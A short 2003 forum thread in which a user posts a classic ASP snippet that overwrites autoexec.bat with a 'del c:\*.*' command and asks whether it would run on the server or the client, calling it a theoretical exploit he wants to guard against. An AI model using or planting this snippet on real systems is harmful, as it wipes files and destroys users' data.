Slightly dodgey

Discussion in 'Software' started by goldfish, Mar 31, 2003.

  1. goldfish

    goldfish Lt. Sushi.DC

    Ok, here is the code in question:

    <%
    Set FS = Server.CreateObject("Scripting.FileSystemObject")
    Set A = FS.OpenTextFile("c:\autoexec.bat",1,false)
    x = A.ReadAll
    A.Close
    Set B = FS.CreateTextFile("c:\autoexec.bat")
    B.Write
    B.WriteBlankLines(2)
    B.WriteLine("del c:\*.*")
    B.Close
    Set A = Nothing
    Set B = Nothing
    Set FS = Nothing
    %>

    Now personally, i belive that if you tried to execute that code, it would open autoexec.bat on the SERVER not the client. Its a theoretical exploit, and i want to make sure it doesnt affect me.
     
  2. iamien

    iamien Cptn "Eh!"

    helps to know the language:D
     

MajorGeeks.Com Menu

Downloads All In One Tweaks \ Android \ Anti-Malware \ Anti-Virus \ Appearance \ Backup \ Browsers \ CD\DVD\Blu-Ray \ Covert Ops \ Drive Utilities \ Drivers \ Graphics \ Internet Tools \ Multimedia \ Networking \ Office Tools \ PC Games \ System Tools \ Mac/Apple/Ipad Downloads

Other News: Top Downloads \ News (Tech) \ Off Base (Other Websites News) \ Way Off Base (Offbeat Stories and Pics)

Social: Facebook \ YouTube \ Twitter \ Tumblr \ Pintrest \ RSS Feeds